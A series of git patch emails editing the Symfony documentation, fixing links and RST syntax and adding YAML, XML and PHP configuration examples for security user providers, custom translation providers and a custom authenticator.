From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Sep 2023 13:35:43 +0200
Subject: [PATCH 3855/5766] Fix some wrong references

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index bac7254ed59..547af43b6df 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1925,7 +1925,7 @@ Once handled, the handler will return a
 :class:`Symfony\\Component\\Console\\Messenger\\RunCommandContext` which
 contains many useful information such as the exit code or the output of the
 process. You can refer to the page dedicated on
-:doc:`handler results </messenger/handler_results>` for more information.
+:ref:`handler results <messenger-getting-handler-results>` for more information.
 
 .. versionadded:: 6.4
 
@@ -1963,7 +1963,7 @@ Once handled, the handler will return a
 :class:`Symfony\\Component\\Process\\Messenger\\RunProcessContext` which
 contains many useful information such as the exit code or the output of the
 process. You can refer to the page dedicated on
-:doc:`handler results </messenger/handler_results>` for more information.
+:ref:`handler results <messenger-getting-handler-results>` for more information.
 
 .. versionadded:: 6.4
 

From 9ea24d97efe40c40662b5f413e76782102df3bca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Sep 2023 15:55:11 +0200
Subject: [PATCH 3856/5766] Tweak

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 3aa734cda4e..4311d54e5fb 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1620,7 +1620,7 @@ sentinel_master          String, if null or empty Sentinel      null
 
 .. versionadded:: 6.4
 
-    Support for the multiple redis sentinel hosts DNS was introduced in Symfony 6.4.
+    Support for the multiple Redis Sentinel hosts DNS was introduced in Symfony 6.4.
 
 .. caution::
 

From e83e14f24e6c52d7ae421793402bbbd49b441335 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ond=C5=99ej=20Machulda?= <ondrej.machulda@gmail.com>
Date: Sun, 24 Sep 2023 00:25:57 +0200
Subject: [PATCH 3857/5766] Fix wrong attribute name

The attribute is in fact called `HasNamedArgument*s*`

https://github.com/symfony/validator/blob/6.3/Attribute/HasNamedArguments.php
---
 reference/attributes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index e7507949e97..d55baa17f24 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -110,7 +110,7 @@ Validator
 Each validation constraint comes with a PHP attribute. See
 :doc:`/reference/constraints` for a full list of validation constraints.
 
-* :doc:`HasNamedArgument </validation/custom_constraint>`
+* :doc:`HasNamedArguments </validation/custom_constraint>`
 
 .. _`AsEntityAutocompleteField`: https://symfony.com/bundles/ux-autocomplete/current/index.html#usage-in-a-form-with-ajax
 .. _`AsLiveComponent`: https://symfony.com/bundles/ux-live-component/current/index.html

From 14544f8f1500ad1bec7c3bd2e6d2664a8b85676b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Mon, 25 Sep 2023 09:34:06 +0200
Subject: [PATCH 3858/5766] [Translation] Add information about custom
 providers

---
 reference/dic_tags.rst | 44 ++++++++++++++++++++++++++++++++++++++++++
 translation.rst        | 11 +++++++++++
 2 files changed, 55 insertions(+)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 5b035d6f89b..630829c747a 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1228,6 +1228,50 @@ This is the name that's used to determine which dumper should be used.
         $container->register(JsonFileDumper::class)
             ->addTag('translation.dumper', ['alias' => 'json']);
 
+.. _reference-dic-tags-translation-provider-factory:
+
+translation.provider_factory
+----------------------------
+
+**Purpose**: To register a factory creating custom Translation Provider
+
+Register your factory as a service and tag it with ``translation.provider_factory``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        services:
+            App\Translation\CustomProviderFactory:
+                tags:
+                    - { name: translation.provider_factory }
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Translation\CustomProviderFactory">
+                    <tag name="translation.provider_factory"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        use App\Translation\CustomProviderFactory;
+
+        $container
+            ->register(CustomProviderFactory::class)
+            ->addTag('translation.provider_factory')
+        ;
+
+For more details, see :ref:`translation providers <translation-providers>`.
+
 .. _reference-dic-tags-twig-extension:
 
 twig.extension
diff --git a/translation.rst b/translation.rst
index ffaca50044d..7423695dc07 100644
--- a/translation.rst
+++ b/translation.rst
@@ -746,6 +746,17 @@ now use the following commands to push (upload) and pull (download) translations
     # check out the command help to see its options (format, domains, locales, intl-icu, etc.)
     $ php bin/console translation:pull --help
 
+Creating custom Provider
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you wish to create new Translation Provider, you need to create two classes.
+First one must implement :class:`Symfony\\Component\\Translation\\Provider\\ProviderInterface`.
+Second needs to be a factory, that will create instances of the first class. It must implement
+:class:`Symfony\\Component\\Translation\\Provider\\ProviderFactoryInterface`.
+You may extend :class:`Symfony\\Component\\Translation\\Provider\\AbstractProviderFactory`
+to simplify its creation. Additionally you need to tag the factory service with
+:ref:`translation.provider_factory <reference-dic-tags-translation-provider-factory>`.
+
 .. _translation-locale:
 
 Handling the User's Locale

From aa45ec77dbc5e43c915aa70b704b89f5fd0bdcd7 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 25 Sep 2023 11:00:25 +0200
Subject: [PATCH 3859/5766] [UserProvider] Add missing configuration examples

---
 security/user_providers.rst | 270 ++++++++++++++++++++++++++++--------
 1 file changed, 209 insertions(+), 61 deletions(-)

diff --git a/security/user_providers.rst b/security/user_providers.rst
index ba7b169f0c9..cab94b76af8 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -77,24 +77,15 @@ the user provider uses :doc:`Doctrine </doctrine>` to retrieve them.
         use App\Entity\User;
         use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'providers' => [
-                'users' => [
-                    'entity' => [
-                        // the class of the entity that represents users
-                        'class'    => User::class,
-                        // the property to query by - e.g. email, username, etc
-                        'property' => 'email',
-
-                        // optional: if you're using multiple Doctrine entity
-                        // managers, this option defines which one to use
-                        //'manager_name' => 'customer',
-                    ],
-                ],
-            ],
-
+        return static function (SecurityConfig $security): void {
             // ...
-        ]);
+
+            $security->provider('app_user_provider')
+                ->entity()
+                    ->class(User::class)
+                    ->property('email')
+            ;
+        };
 
 .. _authenticating-someone-with-a-custom-entity-provider:
 
@@ -185,18 +176,16 @@ To finish this, remove the ``property`` key from the user provider in
 
         // config/packages/security.php
         use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'providers' => [
-                'users' => [
-                    'entity' => [
-                        'class' => User::class,
-                    ],
-                ],
-            ],
-
+        return static function (SecurityConfig $security): void {
             // ...
-        ]);
+
+            $security->provider('app_user_provider')
+                ->entity()
+                    ->class(User::class)
+            ;
+        };
 
 Now, whenever Symfony uses the user provider, the ``loadUserByIdentifier()``
 method on your ``UserRepository`` will be called.
@@ -217,18 +206,67 @@ including their passwords. Make sure the passwords are hashed properly. See
 After setting up hashing, you can configure all the user information in
 ``security.yaml``:
 
-.. code-block:: yaml
+.. configuration-block::
 
-    # config/packages/security.yaml
-    security:
-        providers:
-            backend_users:
-                memory:
-                    users:
-                        john_admin: { password: '$2y$13$jxGxc ... IuqDju', roles: ['ROLE_ADMIN'] }
-                        jane_admin: { password: '$2y$13$PFi1I ... rGwXCZ', roles: ['ROLE_ADMIN', 'ROLE_SUPER_ADMIN'] }
+    .. code-block:: yaml
 
-        # ...
+        # config/packages/security.yaml
+        security:
+            providers:
+                backend_users:
+                    memory:
+                        users:
+                            john_admin: { password: '$2y$13$jxGxc ... IuqDju', roles: ['ROLE_ADMIN'] }
+                            jane_admin: { password: '$2y$13$PFi1I ... rGwXCZ', roles: ['ROLE_ADMIN', 'ROLE_SUPER_ADMIN'] }
+
+            # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+                       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                       xmlns:srv="http://symfony.com/schema/dic/services"
+                       xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <provider name="app_user_provider2">
+                    <memory>
+                        <user identifier="john_admin" password="$2y$13$jxGxc ... IuqDju" roles="ROLE_ADMIN"/>
+                        <user identifier="jane_admin" password="$2y$13$PFi1I ... rGwXCZ" roles="ROLE_ADMIN, ROLE_SUPER_ADMIN"/>
+                    </memory>
+                </provider>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security): void {
+            // ...
+
+            $memoryProvider = $security->provider('app_user_provider')->memory();
+            $memoryProvider
+                ->user('john_admin')
+                    ->password('$2y$13$jxGxc ... IuqDju')
+                    ->roles(['ROLE_ADMIN'])
+            ;
+
+            $memoryProvider
+                ->user('jane_admin')
+                ->password('$2y$13$PFi1I ... rGwXCZ')
+                ->roles(['ROLE_ADMIN', 'ROLE_SUPER_ADMIN'])
+            ;
+        };
 
 .. caution::
 
@@ -246,27 +284,99 @@ providers are configured is important because Symfony will look for users
 starting from the first provider and will keep looking for in the other
 providers until the user is found:
 
-.. code-block:: yaml
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+            providers:
+                backend_users:
+                    ldap:
+                        # ...
+
+                legacy_users:
+                    entity:
+                        # ...
 
-    # config/packages/security.yaml
-    security:
-        # ...
-        providers:
-            backend_users:
-                ldap:
-                    # ...
+                users:
+                    entity:
+                        # ...
 
-            legacy_users:
-                entity:
-                    # ...
+                all_users:
+                    chain:
+                        providers: ['legacy_users', 'users', 'backend_users']
 
-            users:
-                entity:
-                    # ...
+    .. code-block:: xml
 
-            all_users:
-                chain:
-                    providers: ['legacy_users', 'users', 'backend_users']
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+                       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                       xmlns:srv="http://symfony.com/schema/dic/services"
+                       xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <provider name="backend_users">
+                    <ldap service="..." base-dn="..."/>
+                </provider>
+
+                <provider name="legacy_users">
+                    <entity>
+                        <!-- ... -->
+                    </entity>
+                </provider>
+
+                <provider name="users">
+                    <entity>
+                        <!-- ... -->
+                    </entity>
+                </provider>
+
+                <provider name="all_users">
+                    <chain>
+                        <provider>backend_users</provider>
+                        <provider>legacy_users</provider>
+                        <provider>users</provider>
+                    </chain>
+                </provider>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security): void {
+            // ...
+
+            $backendProvider = $security->provider('backend_users')
+                ->ldap()
+                // ...
+            ;
+
+            $legacyProvider = $security->provider('legacy_users')
+                ->entity()
+                // ...
+            ;
+
+            $userProvider = $security->provider('users')
+                ->entity()
+                // ...
+            ;
+
+            $allProviders = $security->provider('all_users')->chain()
+                ->providers([$backendProvider, $legacyProvider, $userProvider])
+            ;
+        };
 
 .. _security-custom-user-provider:
 
@@ -362,14 +472,52 @@ Most of the work is already done! Read the comments in the code and update the
 TODO sections to finish the user provider. When you're done, tell Symfony about
 the user provider by adding it in ``security.yaml``:
 
-.. code-block:: yaml
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            providers:
+                # the name of your user provider can be anything
+                your_custom_user_provider:
+                    id: App\Security\UserProvider
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+                       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                       xmlns:srv="http://symfony.com/schema/dic/services"
+                       xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <provider name="your_custom_user_provider" id="App\Security\UserProvider">
+                    <!-- ... -->
+                </provider>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\UserProvider;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security): void {
+            // ...
 
-    # config/packages/security.yaml
-    security:
-        providers:
-            # the name of your user provider can be anything
-            your_custom_user_provider:
-                id: App\Security\UserProvider
+             $customProvider = $security->provider('your_custom_user_provider')
+                ->id(UserProvider::class)
+                // ...
+            ;
+        };
 
 Lastly, update the ``config/packages/security.yaml`` file to set the
 ``provider`` key to ``your_custom_user_provider`` in all the firewalls which

From dfea1d74e6357a0eaebb03f02b30db2e7582791c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Mon, 25 Sep 2023 12:39:54 +0200
Subject: [PATCH 3860/5766] [Contributing] Document :ref: links

---
 contributing/documentation/format.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index 33798d48da3..a9d8aef7434 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -190,6 +190,28 @@ If you want to modify that title, use this alternative syntax:
 
         :doc:`environments`
 
+It is also possible to link to a specific section, instead of a whole page.
+First, define a target above section you will link to:
+
+.. code-block:: rst
+
+    # /service_container/autowiring.rst
+
+    # Define the target
+    .. _autowiring-calls:
+
+    Autowiring other Methods (e.g. Setters and Public Typed Properties)
+    -------------------------------------------------------------------
+    [section content ...]
+
+Then create reference to link to that section from another file:
+
+.. code-block:: rst
+
+    # /reference/attributes.rst
+
+    :ref:`Required <autowiring-calls>`
+
 **Links to the API** follow a different syntax, where you must specify the type
 of the linked resource (``class`` or ``method``):
 

From 162d5c26f11b54ab11f4f81cc49489d5633c8f1c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 25 Sep 2023 17:23:47 +0200
Subject: [PATCH 3861/5766] Tweaks

---
 contributing/documentation/format.rst | 32 +++++++++++++++++----------
 1 file changed, 20 insertions(+), 12 deletions(-)

diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index a9d8aef7434..1ff8b8e56c1 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -110,18 +110,25 @@ The current list of supported formats are the following:
 ===================  ==============================================================================
 Markup Format        Use It to Display
 ===================  ==============================================================================
-``html``             HTML
-``xml``              XML
-``php``              PHP
-``yaml``             YAML
-``twig``             Pure Twig markup
-``html+twig``        Twig markup blended with HTML
+``caddy``            Caddy web server configuration
+``env``              Bash files (like ``.env`` files)
 ``html+php``         PHP code blended with HTML
+``html+twig``        Twig markup blended with HTML
+``html``             HTML
 ``ini``              INI
 ``php-annotations``  PHP Annotations
 ``php-attributes``   PHP Attributes
-``php-symfony``      PHP code example when using the Symfony framework
 ``php-standalone``   PHP code to be used in any PHP application using standalone Symfony components
+``php-symfony``      PHP code example when using the Symfony framework
+``php``              PHP
+``rst``              reStructuredText markup
+``terminal``         Renders the contents as a console terminal (use it to show which commands to run)
+``twig``             Pure Twig markup
+``varnish3``         Varnish Cache 3 configuration
+``varnish4``         Varnish Cache 4 configuration
+``vcl``              Varnish Configuration Language
+``xml``              XML
+``yaml``             YAML
 ===================  ==============================================================================
 
 Displaying Tabs
@@ -190,21 +197,22 @@ If you want to modify that title, use this alternative syntax:
 
         :doc:`environments`
 
-It is also possible to link to a specific section, instead of a whole page.
-First, define a target above section you will link to:
+**Links to specific page sections** follow a different syntax. First, define a
+target above section you will link to (syntax: ``.. _`` + target name + ``:``):
 
 .. code-block:: rst
 
     # /service_container/autowiring.rst
 
-    # Define the target
+    # define the target
     .. _autowiring-calls:
 
     Autowiring other Methods (e.g. Setters and Public Typed Properties)
     -------------------------------------------------------------------
-    [section content ...]
 
-Then create reference to link to that section from another file:
+    // section content ...
+
+Then, use the ``:ref::`` directive to link to that section from another file:
 
 .. code-block:: rst
 

From 6b2e218f88cad23fdb1036ca77a912781df9d25a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 25 Sep 2023 17:54:42 +0200
Subject: [PATCH 3862/5766] Tweaks

---
 reference/dic_tags.rst |  7 +++----
 translation.rst        | 20 +++++++++++---------
 2 files changed, 14 insertions(+), 13 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 630829c747a..96b4d2d77fa 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1233,9 +1233,10 @@ This is the name that's used to determine which dumper should be used.
 translation.provider_factory
 ----------------------------
 
-**Purpose**: To register a factory creating custom Translation Provider
+**Purpose**: to register a factory related to custom translation providers
 
-Register your factory as a service and tag it with ``translation.provider_factory``:
+When creating custom :ref:`translation providers <translation-providers>`, you
+must register your factory as a service and tag it with ``translation.provider_factory``:
 
 .. configuration-block::
 
@@ -1270,8 +1271,6 @@ Register your factory as a service and tag it with ``translation.provider_factor
             ->addTag('translation.provider_factory')
         ;
 
-For more details, see :ref:`translation providers <translation-providers>`.
-
 .. _reference-dic-tags-twig-extension:
 
 twig.extension
diff --git a/translation.rst b/translation.rst
index 7423695dc07..db44c43e568 100644
--- a/translation.rst
+++ b/translation.rst
@@ -746,16 +746,18 @@ now use the following commands to push (upload) and pull (download) translations
     # check out the command help to see its options (format, domains, locales, intl-icu, etc.)
     $ php bin/console translation:pull --help
 
-Creating custom Provider
-~~~~~~~~~~~~~~~~~~~~~~~~
+Creating Custom Providers
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In addition to using Symfony's built-in translation providers, you can create
+your own providers. To do so, you need to create two classes:
+
+#. The first class must implement :class:`Symfony\\Component\\Translation\\Provider\\ProviderInterface`;
+#. The second class needs to be a factory which will create instances of the first class. It must implement
+:class:`Symfony\\Component\\Translation\\Provider\\ProviderFactoryInterface` (you can extend :class:`Symfony\\Component\\Translation\\Provider\\AbstractProviderFactory` to simplify its creation).
 
-If you wish to create new Translation Provider, you need to create two classes.
-First one must implement :class:`Symfony\\Component\\Translation\\Provider\\ProviderInterface`.
-Second needs to be a factory, that will create instances of the first class. It must implement
-:class:`Symfony\\Component\\Translation\\Provider\\ProviderFactoryInterface`.
-You may extend :class:`Symfony\\Component\\Translation\\Provider\\AbstractProviderFactory`
-to simplify its creation. Additionally you need to tag the factory service with
-:ref:`translation.provider_factory <reference-dic-tags-translation-provider-factory>`.
+After creating these two classes, you need to register your factory as a service
+and tag it with :ref:`translation.provider_factory <reference-dic-tags-translation-provider-factory>`.
 
 .. _translation-locale:
 

From 6e9eef5ae83b107651fc18af40b5537171ad7d87 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Sep 2023 09:59:57 +0200
Subject: [PATCH 3863/5766] Minor RST syntax fix

---
 deployment/proxies.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index b821145e85a..416039ee040 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -139,14 +139,14 @@ In this case, you'll need to - *very carefully* - trust *all* proxies.
 #. Once you've guaranteed that traffic will only come from your trusted reverse
    proxies, configure Symfony to *always* trust incoming request:
 
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            # trust *all* requests (the 'REMOTE_ADDR' string is replaced at
-            # run time by $_SERVER['REMOTE_ADDR'])
-            trusted_proxies: '127.0.0.1,REMOTE_ADDR'
+   .. code-block:: yaml
+
+       # config/packages/framework.yaml
+       framework:
+           # ...
+           # trust *all* requests (the 'REMOTE_ADDR' string is replaced at
+           # run time by $_SERVER['REMOTE_ADDR'])
+           trusted_proxies: '127.0.0.1,REMOTE_ADDR'
 
 That's it! It's critical that you prevent traffic from all non-trusted sources.
 If you allow outside traffic, they could "spoof" their true IP address and

From e499df3cebaf60b916ed855f49354e8153d8036f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Sep 2023 10:00:38 +0200
Subject: [PATCH 3864/5766] Minor RST syntax fix

---
 reference/map.rst.inc | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/reference/map.rst.inc b/reference/map.rst.inc
index f395ea6b90d..22788c2d509 100644
--- a/reference/map.rst.inc
+++ b/reference/map.rst.inc
@@ -6,13 +6,13 @@ Ever wondered what configuration options you have available to you in
 configuration is broken down by the key (e.g. ``framework``) that defines
 each possible section of your Symfony configuration.
 
-  * :doc:`framework </reference/configuration/framework>`
-  * :doc:`doctrine </reference/configuration/doctrine>`
-  * :doc:`security </reference/configuration/security>`
-  * :doc:`twig </reference/configuration/twig>`
-  * :doc:`monolog </reference/configuration/monolog>`
-  * :doc:`web_profiler </reference/configuration/web_profiler>`
-  * :doc:`debug </reference/configuration/debug>`
+* :doc:`framework </reference/configuration/framework>`
+* :doc:`doctrine </reference/configuration/doctrine>`
+* :doc:`security </reference/configuration/security>`
+* :doc:`twig </reference/configuration/twig>`
+* :doc:`monolog </reference/configuration/monolog>`
+* :doc:`web_profiler </reference/configuration/web_profiler>`
+* :doc:`debug </reference/configuration/debug>`
 
 Forms and Validation
 --------------------

From 8e1281f67a99626a207502c60917c3626e282ec1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Sep 2023 10:12:45 +0200
Subject: [PATCH 3865/5766] Fix a minor RST syntax issue

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 95693a6de43..4387125686f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -236,7 +236,7 @@ The **default value** is:
         $request = Request::createFromGlobals();
         // ...
 
- .. _configuration-framework-http_method_override:
+.. _configuration-framework-http_method_override:
 
 trust_x_sendfile_type_header
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 3cab82532054b6f576181658e1349aa732f96127 Mon Sep 17 00:00:00 2001
From: Kevin Papst <kevinpapst@users.noreply.github.com>
Date: Tue, 26 Sep 2023 11:58:37 +0200
Subject: [PATCH 3866/5766] fixed broken links for relative dateformats

---
 rate_limiter.rst | 2 +-
 security.rst     | 3 ++-
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 03d0c77e3d2..178d0d59229 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -532,5 +532,5 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
 .. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
 .. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/
 .. _`token bucket algorithm`: https://en.wikipedia.org/wiki/Token_bucket
-.. _`PHP date relative formats`: https://www.php.net/datetime.formats.relative
+.. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative
 .. _`Race conditions`: https://en.wikipedia.org/wiki/Race_condition
diff --git a/security.rst b/security.rst
index 8593f720f7f..365e1c60aaa 100644
--- a/security.rst
+++ b/security.rst
@@ -2722,4 +2722,5 @@ Authorization (Denying Access)
 .. _`SymfonyCastsVerifyEmailBundle`: https://github.com/symfonycasts/verify-email-bundle
 .. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
 .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
-.. _`PHP date relative formats`: https://www.php.net/datetime.formats.relative
+.. _`SensitiveParameter PHP attribute`: https://wiki.php.net/rfc/redact_parameters_in_back_traces
+.. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative

From a938b6d7638c47d0dfc336730e417fc313fb2ba9 Mon Sep 17 00:00:00 2001
From: Piotr Potrawiak <toci-to-ci@users.noreply.github.com>
Date: Wed, 20 Sep 2023 13:15:47 +0200
Subject: [PATCH 3867/5766] Update entity.rst

query_builder option - more clear explained
---
 reference/forms/types/entity.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 884ab26a0d0..abd335d6eb9 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -49,7 +49,7 @@ Using a Custom Query for the Entities
 
 If you want to create a custom query to use when fetching the entities
 (e.g. you only want to return some entities, or need to order them), use
-the `query_builder`_ option::
+the `query_builder`_ option. Please note, that `query_builder` is used to compose data, not fetch real final results::
 
     use App\Entity\User;
     use Doctrine\ORM\EntityRepository;

From 86580e7238f4faa05306ed6da9d3b602afe264fd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Sep 2023 12:45:42 +0200
Subject: [PATCH 3868/5766] Reword

---
 reference/forms/types/entity.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index abd335d6eb9..e87336c2ec6 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -49,7 +49,8 @@ Using a Custom Query for the Entities
 
 If you want to create a custom query to use when fetching the entities
 (e.g. you only want to return some entities, or need to order them), use
-the `query_builder`_ option. Please note, that `query_builder` is used to compose data, not fetch real final results::
+the `query_builder`_ option (which must be a ``QueryBuilder`` object, a closure
+returning a ``QueryBuilder`` object or ``null`` to load all entities)::
 
     use App\Entity\User;
     use Doctrine\ORM\EntityRepository;

From bd58134ee8c98be90c1a3ac45f31dafd08ea4e3b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 26 Sep 2023 17:54:39 +0200
Subject: [PATCH 3869/5766] [Authenticator] Improve the first example

---
 security/custom_authenticator.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 8dbeeaf287a..60604fce11b 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -49,7 +49,11 @@ method that fits most use-cases::
                 throw new CustomUserMessageAuthenticationException('No API token provided');
             }
 
-            return new SelfValidatingPassport(new UserBadge($apiToken));
+            // implement your own logic to get the user identifier from `$apiToken`
+            // e.g. by finding one user in database by its API key
+            $userIdentifier = /** ... */;
+
+            return new SelfValidatingPassport(new UserBadge($userIdentifier));
         }
 
         public function onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response

From 53fb35b756e4963f821653b910751b399c4e1b0d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 27 Sep 2023 17:35:34 +0200
Subject: [PATCH 3870/5766] Minor tweak

---
 security/custom_authenticator.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 60604fce11b..e79ea010ecd 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -50,7 +50,7 @@ method that fits most use-cases::
             }
 
             // implement your own logic to get the user identifier from `$apiToken`
-            // e.g. by finding one user in database by its API key
+            // e.g. by looking up a user in the database using its API key
             $userIdentifier = /** ... */;
 
             return new SelfValidatingPassport(new UserBadge($userIdentifier));

From d1522a7a87a751b66e32a0eab01fdb7a0c11c237 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 27 Sep 2023 17:49:19 +0200
Subject: [PATCH 3871/5766] Remove an unused reference

---
 security.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/security.rst b/security.rst
index 365e1c60aaa..df77a940ec1 100644
--- a/security.rst
+++ b/security.rst
@@ -2722,5 +2722,4 @@ Authorization (Denying Access)
 .. _`SymfonyCastsVerifyEmailBundle`: https://github.com/symfonycasts/verify-email-bundle
 .. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
 .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
-.. _`SensitiveParameter PHP attribute`: https://wiki.php.net/rfc/redact_parameters_in_back_traces
 .. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative

